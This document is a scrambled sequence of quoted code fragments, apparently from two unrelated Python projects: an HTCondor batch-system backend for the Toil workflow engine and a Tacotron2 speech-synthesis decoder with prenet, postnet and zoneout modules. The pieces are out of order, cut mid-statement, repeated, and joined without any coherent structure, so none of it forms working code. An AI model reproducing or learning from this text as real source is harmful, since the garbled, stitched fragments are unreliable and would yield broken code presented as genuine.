def", "'HoldReason', 'HoldReasonSubCode'] schedd = self.connectSchedd() ads = schedd.xquery(requirements = requirements,", "'Suspended' } requirements = '(ClusterId == {0})'.format(batchJobID) projection = ['JobStatus',", "pass else: logger.warning( \"Multiple HTCondor ads returned using constraint: {0}\".format(requirements))", "part of this workflow batchJobIDs = [batchJobID for (batchJobID, task)", "= os.getenv('TOIL_HTCONDOR_SCHEDD') # If TOIL_HTCONDOR_ variables are set, use them", "# Ping the Schedd to make sure it's there and", "# The entire string should be encapsulated in double quotes", "might be, use some reasonable constants for now. # TODO:", "schedd.xquery(requirements = requirements, projection = projection) # Make sure a", "= self.handleLocalJob(jobNode) if localID: return localID else: self.checkResourceRequest(jobNode.memory, jobNode.cores, jobNode.disk)", "# TODO: Note that this currently stores a tuple of", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "self.submitJob(submitObj) logger.debug(\"Submitted job %s\", str(batchJobID)) # Store dict for mapping", "the disk request def issueBatchJob(self, jobNode): # Avoid submitting internal", "Otherwise assume the Schedd is on the local machine else:", "Unix timestamp runtime = time.time() - ad['EnteredCurrentStatus'] job_runtimes[jobID] = runtime", "are running requirements = '(JobStatus == 2) && (IsToilJob)' projection", "and return a Schedd object''' condor_host = os.getenv('TOIL_HTCONDOR_COLLECTOR') schedd_name =", "constants for now. # TODO: Use a htcondor.Collector().query() to determine", "Each variable should be separated by a single space return", "submitObj = self.prepareSubmission(cpu, memory, disk, jobID, jobName, command) logger.debug(\"Submitting %r\",", "HTCondor Submit object can use. For examples of valid strings,", "and get batch system ID (i.e. the ClusterId) batchJobID =", "queue of queued (\"running\") jobs self.runningJobs.add(jobID) # Add to allocated", "the Toil jobs that are part of this workflow batchJobIDs", "HTCondor job {0}\".format(batchJobID)) # Set the job to be killed", "object return htcondor.Submit(submit_parameters) def submitJob(self, submitObj): # Queue the job", "htcondor.Collector(condor_host).locate( htcondor.DaemonTypes.Schedd, schedd_name) except IOError: logger.error( \"Could not connect to", "# limitations under the License. from __future__ import absolute_import from", "if newJob is not None: self.waitingJobs.append(newJob) # Queue jobs as", "Sciences Department, # University of Wisconsin-Madison, WI. # # Licensed", "2018, HTCondor Team, Computer Sciences Department, # University of Wisconsin-Madison,", "as /bin/sh -c \"command\" # TODO: Transfer the jobStore directory", "this currently stores a tuple of (batch system # ID,", "<key>='<value>' env_string = key + \"=\" # The entire value", "# Submit job and get batch system ID (i.e. the", "ad['EnteredCurrentStatus'] job_runtimes[jobID] = runtime return job_runtimes def killJob(self, jobID): batchJobID", "batchJobID = self.submitJob(submitObj) logger.debug(\"Submitted job %s\", str(batchJobID)) # Store dict", "schedd.edit(job_spec, 'ToilJobKilled', 'True') def getJobExitCode(self, batchJobID): logger.debug(\"Getting exit code for", "the License for the specific language governing permissions and #", "# Prepare the htcondor.Submit object submitObj = self.prepareSubmission(cpu, memory, disk,", "logger.debug( \"Connecting to HTCondor Schedd {0} using Collector at {1}\".format(", "{ 1: 'Idle', 2: 'Running', 3: 'Removed', 4: 'Completed', 5:", "entire string should be encapsulated in double quotes # Each", "False if newJob is not None: self.waitingJobs.append(newJob) # Queue jobs", "either express or implied. # See the License for the", "self.boss.environment.items(): # Each variable should be in the form of", "ValueError: logger.error( \"Could not find HTCondor Schedd with name {0}\".format(schedd_name))", "\"License\"); you # may not use this file except in", "self.waitingJobs.pop(0) # Prepare the htcondor.Submit object submitObj = self.prepareSubmission(cpu, memory,", "None) # Add to queue of queued (\"running\") jobs self.runningJobs.add(jobID)", "issueBatchJob(self, jobNode): # Avoid submitting internal jobs to the batch", "job_runtimes def killJob(self, jobID): batchJobID = self.batchJobIDs[jobID][0] logger.debug(\"Killing HTCondor job", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "# Convert resource requests cpu = int(math.ceil(cpu)) # integer CPUs", "condor_host)) try: schedd_ad = htcondor.Collector(condor_host).locate( htcondor.DaemonTypes.Schedd, schedd_name) except IOError: logger.error(", "logger.warning( \"Multiple HTCondor ads returned using constraint: {0}\".format(requirements)) if ad['ToilJobKilled']:", "in self.batchJobIDs.values()] job_runtimes = {} for ad in ads: batchJobID", "the ClusterId return batchJobID def getRunningJobIDs(self): # Get all Toil", "\"\"\" def connectSchedd(self): '''Connect to HTCondor Schedd and return a", "tuple of (batch system # ID, Task), but the second", "Return the ClusterId return batchJobID def getRunningJobIDs(self): # Get all", "submitting internal jobs to the batch queue, handle locally localID", "Schedd on local machine\") schedd = htcondor.Schedd() # Ping the", "float(memory)/1024 # memory in KB disk = float(disk)/1024 # disk", "to the batch queue, handle locally localID = self.handleLocalJob(jobNode) if", "condor_host = os.getenv('TOIL_HTCONDOR_COLLECTOR') schedd_name = os.getenv('TOIL_HTCONDOR_SCHEDD') # If TOIL_HTCONDOR_ variables", "# Get all Toil jobs that are running requirements =", "projection) # Make sure a ClassAd was returned try: ad", "} requirements = '(ClusterId == {0})'.format(batchJobID) projection = ['JobStatus', 'ToilJobKilled',", "using constraint: {0}\".format(requirements)) if ad['ToilJobKilled']: logger.debug(\"HTCondor job {0} was killed", "= requirements, projection = projection) # Only consider the Toil", "schedd_name = os.getenv('TOIL_HTCONDOR_SCHEDD') # If TOIL_HTCONDOR_ variables are set, use", "to be used self.batchJobIDs[jobID] = (batchJobID, None) # Add to", "variables are set, use them to find the Schedd if", "object can use. For examples of valid strings, see: http://research.cs.wisc.edu/htcondor/manual/current/condor_submit.html#man-condor-submit-environment", "jobNode.cores, jobNode.disk) jobID = self.getNextJobID() self.currentJobs.add(jobID) # Add the jobNode.disk", "some reasonable constants for now. # TODO: Use a htcondor.Collector().query()", "= [] if self.boss.environment: for key, value in self.boss.environment.items(): #", "\"''\").replace('\"', '\"\"') + \"'\" env_items.append(env_string) # The entire string should", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "# TODO: Use a htcondor.Collector().query() to determine reasonable values. max_cpu", "or idle or doing something else logger.debug(\"HTCondor job {0} has", "Convert resource requests cpu = int(math.ceil(cpu)) # integer CPUs memory", "and max memory available # in an HTCondor slot might", "clear what the max cpus and max memory available #", "if using a local file store with a relative path.", "time import math from toil.batchSystems.abstractGridEngineBatchSystem import AbstractGridEngineBatchSystem import htcondor import", "else: # Job still running or idle or doing something", "dict for mapping Toil job ID to batch job ID", "to batch job ID # TODO: Note that this currently", "submitObj.queue(txn) # Return the ClusterId return batchJobID def getRunningJobIDs(self): #", "(i.e. the ClusterId) batchJobID = self.submitJob(submitObj) logger.debug(\"Submitted job %s\", str(batchJobID))", "projection = ['JobStatus', 'ToilJobKilled', 'ExitCode', 'HoldReason', 'HoldReasonSubCode'] schedd = self.connectSchedd()", "return activity def prepareSubmission(self, cpu, memory, disk, jobID, jobName, command):", "# may not use this file except in compliance with", "= int(ad['ToilJobID']) if not (batchJobID in batchJobIDs): continue # HTCondor", "is not None: self.waitingJobs.append(newJob) # Queue jobs as necessary: while", "schedd = self.connectSchedd() ads = schedd.xquery(requirements = requirements, projection =", "htcondor.Schedd(schedd_ad) # Otherwise assume the Schedd is on the local", "command = self.waitingJobs.pop(0) # Prepare the htcondor.Submit object submitObj =", "Toil jobs that are running requirements = '(JobStatus == 2)", "4: 'Completed', 5: 'Held', 6: 'Transferring Output', 7: 'Suspended' }", "RuntimeError: logger.error(\"Could not connect to HTCondor Schedd\") raise return schedd", "that are running requirements = '(JobStatus == 2) && (IsToilJob)'", "cpus and max memory available # in an HTCondor slot", "# Workaround for HTCondor Python bindings Unicode conversion bug command", "'{0:.3f}KB'.format(memory), 'request_disk': '{0:.3f}KB'.format(disk), 'leave_in_queue': '(JobStatus == 4)', '+IsToilJob': 'True', '+ToilJobID':", "Prepare the htcondor.Submit object submitObj = self.prepareSubmission(cpu, memory, disk, jobID,", "math from toil.batchSystems.abstractGridEngineBatchSystem import AbstractGridEngineBatchSystem import htcondor import classad logger", "a Schedd transaction schedd = self.connectSchedd() with schedd.transaction() as txn:", "os.getenv('TOIL_HTCONDOR_SCHEDD') # If TOIL_HTCONDOR_ variables are set, use them to", "(sub code {2})'\".format( batchJobID, ad['HoldReason'], ad['HoldReasonSubCode'])) # Remove the job", "the createJobs method so that we can use htcondor.Submit objects", "distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR", "{0})'.format(batchJobID) projection = ['JobStatus', 'ToilJobKilled', 'ExitCode', 'HoldReason', 'HoldReasonSubCode'] schedd =", "License. from __future__ import absolute_import from builtins import str import", "Schedd transaction schedd = self.connectSchedd() with schedd.transaction() as txn: batchJobID", "one ClassAd was returned try: ads.next() except StopIteration: pass else:", "ClassAd was returned try: ads.next() except StopIteration: pass else: logger.warning(", "logger.debug(\"Getting exit code for HTCondor job {0}\".format(batchJobID)) status = {", "Copyright (C) 2018, HTCondor Team, Computer Sciences Department, # University", "part of the value should be duplicated env_string += \"'\"", "+= \"'\" + value.replace(\"'\", \"''\").replace('\"', '\"\"') + \"'\" env_items.append(env_string) #", "# distributed under the License is distributed on an \"AS", "3: 'Removed', 4: 'Completed', 5: 'Held', 6: 'Transferring Output', 7:", "ad['ToilJobKilled']: logger.debug(\"HTCondor job {0} was killed by Toil\".format(batchJobID)) # Remove", "# Unless required by applicable law or agreed to in", "txn: batchJobID = submitObj.queue(txn) # Return the ClusterId return batchJobID", "marks (single or double) that are part of the value", "in an HTCondor slot might be, use some reasonable constants", "+ \"'\" env_items.append(env_string) # The entire string should be encapsulated", "from __future__ import absolute_import from builtins import str import sys", "absolute_import from builtins import str import sys import os import", "ad['ExitCode'])) # Remove the job from the Schedd and return", "(batch system # ID, Task), but the second value is", "should be separated by a single space return '\"' +", "\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY", "Task), but the second value is None by default and", "batchJobIDs = [batchJobID for (batchJobID, task) in self.batchJobIDs.values()] job_runtimes =", "When using HTCondor, the Schedd handles scheduling class Worker(AbstractGridEngineBatchSystem.Worker): #", "request def issueBatchJob(self, jobNode): # Avoid submitting internal jobs to", "Note that this currently stores a tuple of (batch system", "exit status is checked schedd = self.connectSchedd() job_spec = '(ClusterId", "we can use htcondor.Submit objects # and so that we", "default and doesn't # seem to be used self.batchJobIDs[jobID] =", "else: self.checkResourceRequest(jobNode.memory, jobNode.cores, jobNode.disk) jobID = self.getNextJobID() self.currentJobs.add(jobID) # Add", "int(math.ceil(cpu)) # integer CPUs memory = float(memory)/1024 # memory in", "schedd = self.connectSchedd() with schedd.transaction() as txn: batchJobID = submitObj.queue(txn)", "== 'Completed': logger.debug(\"HTCondor job {0} completed with exit code {1}\".format(", "Job still running or idle or doing something else logger.debug(\"HTCondor", "ad['HoldReason'], ad['HoldReasonSubCode'])) # Remove the job from the Schedd and", "strings, see: http://research.cs.wisc.edu/htcondor/manual/current/condor_submit.html#man-condor-submit-environment ''' env_items = [] if self.boss.environment: for", "import math from toil.batchSystems.abstractGridEngineBatchSystem import AbstractGridEngineBatchSystem import htcondor import classad", "submitObj) # Submit job and get batch system ID (i.e.", "ID (i.e. the ClusterId) batchJobID = self.submitJob(submitObj) logger.debug(\"Submitted job %s\",", "ads = schedd.xquery(requirements = requirements, projection = projection) # Only", "return 1 job_spec = 'ClusterId == {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return", "schedd.xquery(limit = 0) except RuntimeError: logger.error(\"Could not connect to HTCondor", "AbstractGridEngineBatchSystem import htcondor import classad logger = logging.getLogger(__name__) class HTCondorBatchSystem(AbstractGridEngineBatchSystem):", "with exit code {1}\".format( batchJobID, ad['ExitCode'])) # Remove the job", "try: ad = ads.next() except StopIteration: logger.error( \"No HTCondor ads", "str(batchJobID)) # Store dict for mapping Toil job ID to", "HTCondor Team, Computer Sciences Department, # University of Wisconsin-Madison, WI.", "int(ad['ToilJobID']) if not (batchJobID in batchJobIDs): continue # HTCondor stores", "completed with exit code {1}\".format( batchJobID, ad['ExitCode'])) # Remove the", "Schedd object''' condor_host = os.getenv('TOIL_HTCONDOR_COLLECTOR') schedd_name = os.getenv('TOIL_HTCONDOR_SCHEDD') # If", "use. For examples of valid strings, see: http://research.cs.wisc.edu/htcondor/manual/current/condor_submit.html#man-condor-submit-environment ''' env_items", "job {0} completed with exit code {1}\".format( batchJobID, ad['ExitCode'])) #", "in ads: batchJobID = int(ad['ClusterId']) jobID = int(ad['ToilJobID']) if not", "we can get disk allocation requests and ceil the CPU", "== {0})'.format(batchJobID) schedd.edit(job_spec, 'ToilJobKilled', 'True') def getJobExitCode(self, batchJobID): logger.debug(\"Getting exit", "batchJobID, ad['ExitCode'])) # Remove the job from the Schedd and", "Schedd\") raise return schedd def getEnvString(self): '''Build an environment string", "def getJobExitCode(self, batchJobID): logger.debug(\"Getting exit code for HTCondor job {0}\".format(batchJobID))", "of the runtime as a Unix timestamp runtime = time.time()", "import str import sys import os import logging import time", "The entire string should be encapsulated in double quotes #", "code for HTCondor job {0}\".format(batchJobID)) status = { 1: 'Idle'," ]
[ "on Mel Spectrogram Predictions`_. The Prenet preforms nonlinear conversion of", "numpy.ndarray Batch of attention weights (B, Lmax, Tmax). Note ----------", "+= [self._zero_state(hs)] prev_out = paddle.zeros([paddle.shape(hs)[0], self.odim]) # initialize attention prev_att_w", "2.0 (the \"License\"); # you may not use this file", "2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under", "nn.Layer: Paddle recurrent cell module e.g. `paddle.nn.LSTMCell`. zoneout_rate : float,", "next_h class Decoder(nn.Layer): \"\"\"Decoder module of Spectrogram prediction network. This", "Examples ---------- >>> lstm = paddle.nn.LSTMCell(16, 32) >>> lstm =", "---------- Tensor Batch of output tensors after postnet (B, Lmax,", "zoneout_rate : float, optional Probability of zoneout from 0.0 to", "nn.Sequential( nn.Conv1D( ichans, ochans, n_filts, stride=1, padding=(n_filts - 1) //", "given the sequences of characters. Parameters ---------- h : Tensor", "in Spectrogram prediction network, which described in `Natural TTS Synthesis", "---------- Tensor Batch of padded output tensor. (B, odim, Tmax).", "(1 - prob) * next_h class Decoder(nn.Layer): \"\"\"Decoder module of", "int # hlens = list(map(int, hlens)) # initialize hidden states", "(z_list[0], c_list[0])) z_list[0], c_list[0] = next_hidden for i in six.moves.range(1,", "paddle _, next_hidden = self.lstm[i](z_list[i - 1], (z_list[i], c_list[i])) z_list[i],", "compensate the detail sturcture of spectrogram. .. _`Natural TTS Synthesis", "# hlens = list(map(int, hlens)) # initialize hidden states of", "modified from `eladhoffer/seq2seq.pytorch`_. Examples ---------- >>> lstm = paddle.nn.LSTMCell(16, 32)", "+= [self.prob_out(zcs)] att_ws += [att_w] # teacher forcing prev_out =", "Notes ---------- This module alway applies dropout even in evaluation.", "= True else: self.use_att_extra_inputs = False # define lstm network", "= nn.Linear( iunits, odim * reduction_factor, bias_attr=False) self.prob_out = nn.Linear(iunits,", "paddlespeech.t2s.modules.tacotron2.attentions import AttForwardTA class Prenet(nn.Layer): \"\"\"Prenet module for decoder of", "= use_concate self.reduction_factor = reduction_factor # check attention type if", "lstm network prenet_units = prenet_units if prenet_layers != 0 else", "\"\"\" for i in six.moves.range(len(self.prenet)): # F.dropout 引入了随机, tacotron2 的", "prenet_layers : int, optional The number of prenet layers. prenet_units", "self.prenet = None # define postnet if postnet_layers > 0:", "\"zoneout probability must be in the range from 0.0 to", "of LSTMCell in paddle _, next_hidden = self.lstm[i](z_list[i - 1],", "Whether to use batch normalization. use_concate : bool, optional Whether", "[self._zero_state(hs)] z_list += [self._zero_state(hs)] prev_out = paddle.zeros([paddle.shape(hs)[0], self.odim]) # initialize", "prob) return mask * h + (1 - mask) *", "Tensor Attention weights (L, T). Note ---------- This computation is", "> 0 or idx >= maxlen: # check mininum length", "self.odim, -1]) if self.postnet is not None: # (B, odim,", "else: prev_att_w = att_w if use_att_constraint: last_attended_idx = int(att_w.argmax()) #", "generates the sequence of features from the sequence of the", "[self._zero_state(hs)] z_list += [self._zero_state(hs)] prev_out = paddle.zeros([1, self.odim]) # initialize", "< minlen: continue # (1, odim, L) outs = paddle.concat(outs,", "z_list[i], c_list[i] = self.lstm[i](z_list[i - 1], (z_list[i], c_list[i])) # teacher", "optional Whether to cumulate previous attention weight. use_batch_norm : bool,", "next_hidden[0], next_hidden def _zoneout(self, h, next_h, prob): # apply recursively", "postnet_chans : int, optional The number of postnet filter channels.", "which helps to learn diagonal attentions. Notes ---------- This module", "Tensor Batch of the sequences of padded hidden states (B,", "of inputs before input to auto-regressive lstm, which helps to", "License for the specific language governing permissions and # limitations", ": int, optional The number of postnet filter channels. output_activation_fn", "Tensor Batch of output tensors before postnet (B, Lmax, odim).", "Regularizing RNNs by Randomly Preserving Hidden Activations`_. This code is", "If set to 1.0 and the length of input is", "= outs[-1][:, :, -1] # (1, odim) if self.cumulate_att_w and", "Reserved. # # Licensed under the Apache License, Version 2.0", "backward_window=backward_window, forward_window=forward_window, ) att_ws += [att_w] prenet_out = self.prenet( prev_out)", "in ys.transpose([1, 0, 2]): if self.use_att_extra_inputs: att_c, att_w = self.att(hs,", "out frames (B, Lmax, odim) -> (B, Lmax/r, odim) if", "的 dropout 是不能去掉的 x = F.dropout(self.prenet[i](x)) return x class Postnet(nn.Layer):", "apply activation function for scaling if self.output_activation_fn is not None:", "next_h else: return prob * h + (1 - prob)", "logits, att_ws = [], [], [] for y in ys.transpose([1,", "optional Dropout rate. zoneout_rate : float, optional Zoneout rate. reduction_factor", "Reduction factor. \"\"\" super().__init__() # store the hyperparameters self.idim =", "+ dunits if use_concate else dunits self.feat_out = nn.Linear( iunits,", "for scaling if self.output_activation_fn is not None: before_outs = self.output_activation_fn(before_outs)", "`Natural TTS Synthesis by Conditioning WaveNet on Mel Spectrogram Predictions`_.", "to 1.0. \"\"\" super().__init__() self.cell = cell self.hidden_size = cell.hidden_size", "dunits if use_concate else dunits self.feat_out = nn.Linear( iunits, odim", "manner. \"\"\" # thin out frames (B, Lmax, odim) ->", "tuple): num_h = len(h) if not isinstance(prob, tuple): prob =", "= [], [], [] while True: # updated index idx", "Postnet( idim=idim, odim=odim, n_layers=postnet_layers, n_chans=postnet_chans, n_filts=postnet_filts, use_batch_norm=use_batch_norm, dropout_rate=dropout_rate, ) else:", "self.output_activation_fn(before_outs) after_outs = self.output_activation_fn(after_outs) return after_outs, before_outs, logits, att_ws def", "def __init__( self, idim, odim, n_layers=5, n_chans=512, n_filts=5, dropout_rate=0.5, use_batch_norm=True,", "for i in range(num_h)]) if self.training: mask = paddle.bernoulli(paddle.ones([*paddle.shape(h)]) *", "Batch of input tensor (B, input_size). hidden : tuple -", "), nn.Tanh(), nn.Dropout(dropout_rate), )) ichans = n_chans if n_layers !=", "prediction network. This is a module of Prenet in the", "Spectrogram prediction network. This is a module of Prenet in", "+= else: prev_att_w = att_w if use_att_constraint: last_attended_idx = int(att_w.argmax())", "of next hidden states (B, hidden_size). - Tensor: Batch of", "Note: error when use += prev_att_w = prev_att_w + att_w", "of Spectrogram prediction network. This is a module of decoder", "else dunits lstm = nn.LSTMCell(iunits, dunits) if zoneout_rate > 0.0:", "output format with LSTMCell in paddle return next_hidden[0], next_hidden def", "states (B, Tmax, idim). hlens : Tensor(int64) Batch of lengths", "= idim if layer == 0 else n_units self.prenet.append( nn.Sequential(nn.Linear(n_inputs,", "of the outputs. n_layers : int, optional The number of", "computation is performed in auto-regressive manner. .. _`Deep Voice 3`:", "https://arxiv.org/abs/1710.07654 \"\"\" # setup assert len(paddle.shape(h)) == 2 hs =", "in six.moves.range(n_layers): n_inputs = idim if layer == 0 else", "postnet_filts : int, optional The number of postnet filter size.", "attention prev_att_w = None self.att.reset() # setup for attention constraint", ")) ichans = n_chans if n_layers != 1 else odim", "OF ANY KIND, either express or implied. # See the", "ilens, z_list[0], prev_att_w, last_attended_idx=last_attended_idx, backward_window=backward_window, forward_window=forward_window, ) att_ws += [att_w]", "See the License for the specific language governing permissions and", "threshold, 'int64')) > 0 or idx >= maxlen: # check", "0.0: raise ValueError( \"zoneout probability must be in the range", "optional The number of postnet filter channels. output_activation_fn : nn.Layer,", "= next_hidden for i in six.moves.range(1, len(self.lstm)): z_list[i], c_list[i] =", "to in writing, software # distributed under the License is", "n_filts : int, optional The number of filter size. n_units", "Dimension of the inputs. odim : int Dimension of the", "idim self.odim = odim self.att = att self.output_activation_fn = output_activation_fn", "of postnet filter size. postnet_chans : int, optional The number", "z_list[-1]) # [(1, odim, r), ...] outs += [self.feat_out(zcs).reshape([1, self.odim,", "or agreed to in writing, software # distributed under the", "next_hidden for i in six.moves.range(1, len(self.lstm)): # we only use", "to have the same output format with LSTMCell in paddle", "is not None: # Note: error when use += prev_att_w", "1) // 2, bias_attr=False, ), nn.BatchNorm1D(ochans), nn.Tanh(), nn.Dropout(dropout_rate), )) else:", "i in six.moves.range(1, len(self.lstm)): # we only use the second", "[] while True: # updated index idx += self.reduction_factor #", "+= prev_att_w = prev_att_w + att_w else: prev_att_w = att_w", "1::self.reduction_factor] # length list should be list of int hlens", "Batch of initial hidden states (B, hidden_size). - Tensor: Batch", "and prev_att_w is not None: prev_att_w = prev_att_w + att_w", ": int Dimension of the inputs. odim : int Dimension", "the detail in `Natural TTS Synthesis by Conditioning WaveNet on", "n_units=prenet_units, dropout_rate=dropout_rate, ) else: self.prenet = None # define postnet", "compliance with the License. # You may obtain a copy", "of initial cell states (B, hidden_size). Returns ---------- Tensor Batch", "All Rights Reserved. # # Licensed under the Apache License,", "att_ws = paddle.stack(att_ws, axis=1) if self.reduction_factor > 1: # (B,", "initialize attention prev_att_w = None self.att.reset() # setup for attention", "(c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed", "and prev_att_w is not None: # Note: error when use", ") else: att_c, att_w = self.att( hs, ilens, z_list[0], prev_att_w,", "# [(1, odim, r), ...] outs += [self.feat_out(zcs).reshape([1, self.odim, -1])]", "by Conditioning WaveNet on Mel Spectrogram Predictions`: https://arxiv.org/abs/1712.05884 \"\"\" def", "of Prenet in the decoder of Spectrogram prediction network, which", "hidden states (B, Tmax, idim). hlens : Tensor(int64) padded Batch", "\"\"\"Generate the sequence of features given the sequences of characters.", "is a module of Postnet in Spectrogram prediction network, which", "error when use += else: prev_att_w = att_w if use_att_constraint:", ">= threshold, 'int64')) > 0 or idx >= maxlen: #", "setup for attention constraint if use_att_constraint: last_attended_idx = 0 else:", "target features (B, Lmax, odim). Returns ---------- numpy.ndarray Batch of", "= att self.output_activation_fn = output_activation_fn self.cumulate_att_w = cumulate_att_w self.use_concate =", "else: return prob * h + (1 - prob) *", "= logits # apply activation function for scaling if self.output_activation_fn", "n_inputs = idim if layer == 0 else n_units self.prenet.append(", "not use this file except in compliance with the License.", "2, bias_attr=False, ), nn.Tanh(), nn.Dropout(dropout_rate), )) ichans = n_chans if", "you may not use this file except in compliance with", "in the decoder of Spectrogram prediction network, which described in", "False # define lstm network prenet_units = prenet_units if prenet_layers", "= [self._zero_state(hs)] for _ in six.moves.range(1, len(self.lstm)): c_list += [self._zero_state(hs)]", "outs = self.output_activation_fn(outs) return outs, probs, att_ws def calculate_all_attentions(self, hs,", "def __init__(self, idim, n_layers=2, n_units=256, dropout_rate=0.5): \"\"\"Initialize prenet module. Parameters", "six.moves.range(dlayers): iunits = idim + prenet_units if layer == 0", "self.postnet = None # define projection layers iunits = idim", "bias_attr=False, ), nn.Dropout(dropout_rate), )) def forward(self, xs): \"\"\"Calculate forward propagation.", "described in `Zoneout: Regularizing RNNs by Randomly Preserving Hidden Activations`_.", "and # limitations under the License. # Modified from espnet(https://github.com/espnet/espnet)", "F.dropout 引入了随机, tacotron2 的 dropout 是不能去掉的 x = F.dropout(self.prenet[i](x)) return", "is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES", "self.postnet is not None: # (1, odim, L) outs =", "else: prev_att_w = att_w # (B, Lmax, Tmax) att_ws =", "\"\"\"Calculate forward propagation. Parameters ---------- xs : Tensor Batch of", "hlens, z_list[0], prev_att_w) prenet_out = self.prenet( prev_out) if self.prenet is", "_, next_hidden = self.lstm[0](xs, (z_list[0], c_list[0])) z_list[0], c_list[0] = next_hidden", "last_attended_idx = int(att_w.argmax()) # check whether to finish generation if", "network, which described in `Natural TTS Synthesis by Conditioning WaveNet", "return tuple( [self._zoneout(h[i], next_h[i], prob[i]) for i in range(num_h)]) if", "odim) if self.reduction_factor > 1: ys = ys[:, self.reduction_factor -", "The number of filter size. n_units : int, optional The", "# (B, Lmax, Tmax) att_ws = paddle.stack(att_ws, axis=1) if self.reduction_factor", "None: outs = self.output_activation_fn(outs) return outs, probs, att_ws def calculate_all_attentions(self,", "teacher-forcing manner. \"\"\" # thin out frames (B, Lmax, odim)", "sequences of padded input tensors (B, idim, Tmax). Returns ----------", "(L,). Tensor Attention weights (L, T). Note ---------- This computation", "Returns ---------- Tensor Batch of padded output tensor. (B, odim,", "use += else: prev_att_w = att_w # (B, Lmax) logits", "the License. # Modified from espnet(https://github.com/espnet/espnet) \"\"\"Tacotron2 decoder related modules.\"\"\"", "use += else: prev_att_w = att_w if use_att_constraint: last_attended_idx =", "See the detail in `Natural TTS Synthesis by Conditioning WaveNet", "for an output sequence idx = 0 outs, att_ws, probs", "xs : Tensor Batch of the sequences of padded input", "init_hs def forward(self, hs, hlens, ys): \"\"\"Calculate forward propagation. Parameters", "ochans = odim if layer == n_layers - 1 else", "self._zoneout(hidden, next_hidden, self.zoneout_rate) # to have the same output format", "of Postnet in Spectrogram prediction network, which described in `Natural", "the inputs. odim : int Dimension of the outputs. n_layers", "\"\"\" # thin out frames (B, Lmax, odim) -> (B,", "outs = outs.transpose([0, 2, 1]).squeeze(0) probs = paddle.concat(probs, axis=0) att_ws", "self.postnet(before_outs) else: after_outs = before_outs # (B, Lmax, odim) before_outs", "---------- idim : int Dimension of the inputs. odim :", "next_hidden, self.zoneout_rate) # to have the same output format with", "The number of prenet layers. n_units : int, optional The", "sturcture of spectrogram. .. _`Natural TTS Synthesis by Conditioning WaveNet", "super().__init__() # store the hyperparameters self.idim = idim self.odim =", "of padded target features (B, Lmax, odim). Returns ---------- Tensor", "rate. zoneout_rate : float, optional Zoneout rate. reduction_factor : int,", "h, next_h, prob): # apply recursively if isinstance(h, tuple): num_h", "have the same output format with LSTMCell in paddle return", "to concatenate encoder embedding with decoder lstm outputs. dropout_rate :", "if layer == 0 else n_units self.prenet.append( nn.Sequential(nn.Linear(n_inputs, n_units), nn.ReLU()))", "None: # Note: error when use += prev_att_w = prev_att_w", "= n_chans if n_layers != 1 else odim if use_batch_norm:", "list should be list of int # hlens = list(map(int,", "self.use_concate else z_list[-1]) # [(1, odim, r), ...] outs +=", "(B, input_size). hidden : tuple - Tensor: Batch of initial", "xs class ZoneOutCell(nn.Layer): \"\"\"ZoneOut Cell module. This is a module", "outs += [self.feat_out(zcs).reshape([1, self.odim, -1])] # [(r), ...] probs +=", "= paddle.zeros([1, self.odim]) # initialize attention prev_att_w = None self.att.reset()", "), nn.BatchNorm1D(odim), nn.Dropout(dropout_rate), )) else: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, odim,", "* 1 = 10. minlenratio : float, optional Minimum length", "---------- Tensor Output sequence of features (L, odim). Tensor Output", "bool, optional Whether to use batch normalization. use_concate : bool,", "calculation if self.use_att_extra_inputs: att_c, att_w = self.att( hs, ilens, z_list[0],", "else: att_c, att_w = self.att(hs, hlens, z_list[0], prev_att_w) prenet_out =", "= None # define postnet if postnet_layers > 0: self.postnet", "sequence of features given the sequences of characters. Parameters ----------", "# (B, odim, Lmax) before_outs = before_outs.reshape( [paddle.shape(before_outs)[0], self.odim, -1])", "is 10, the maximum length of outputs will be 10", "detail in `Natural TTS Synthesis by Conditioning WaveNet on Mel", ": int Forward window size in attention constraint. Returns ----------", "in six.moves.range(1, len(self.lstm)): z_list[i], c_list[i] = self.lstm[i](z_list[i - 1], (z_list[i],", "= self.att(hs, hlens, z_list[0], prev_att_w) prenet_out = self.prenet( prev_out) if", "layer == 0 else n_chans ochans = odim if layer", "If set to 10 and the length of input is", "(L, odim). Tensor Output sequence of stop probabilities (L,). Tensor", "attention weights. Parameters ---------- hs : Tensor Batch of the", "for _ in six.moves.range(1, len(self.lstm)): c_list += [self._zero_state(hs)] z_list +=", "use batch normalization.. dropout_rate : float, optional Dropout rate.. \"\"\"", "This is a module of Prenet in the decoder of", "use_concate=True, dropout_rate=0.5, zoneout_rate=0.1, reduction_factor=1, ): \"\"\"Initialize Tacotron2 decoder module. Parameters", "\"\"\"Calculate forward propagation. Parameters ---------- hs : Tensor Batch of", "length ratio. If set to 10 and the length of", ": int, optional Reduction factor. \"\"\" super().__init__() # store the", "IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,", "hs : Tensor Batch of the sequences of padded hidden", "of attention class. dlayers int, optional The number of decoder", "\"\"\"Initialize zone out cell module. Parameters ---------- cell : nn.Layer:", "zoneout from 0.0 to 1.0. \"\"\" super().__init__() self.cell = cell", "hidden_size). \"\"\" # we only use the second output of", "F import six from paddle import nn from paddlespeech.t2s.modules.tacotron2.attentions import", ": Tensor Input sequence of encoder hidden states (T, C).", "Returns ---------- Tensor Output sequence of features (L, odim). Tensor", "output sequence idx = 0 outs, att_ws, probs = [],", "self.att(hs, hlens, z_list[0], prev_att_w) att_ws += [att_w] prenet_out = self.prenet(", "i in six.moves.range(len(self.prenet)): # F.dropout 引入了随机, tacotron2 的 dropout 是不能去掉的", "`Zoneout: Regularizing RNNs by Randomly Preserving Hidden Activations`_. This code", "factor. \"\"\" super().__init__() # store the hyperparameters self.idim = idim", "https://arxiv.org/abs/1712.05884 \"\"\" def __init__(self, idim, n_layers=2, n_units=256, dropout_rate=0.5): \"\"\"Initialize prenet", "concatenate encoder embedding with decoder lstm outputs. dropout_rate : float,", "0 else 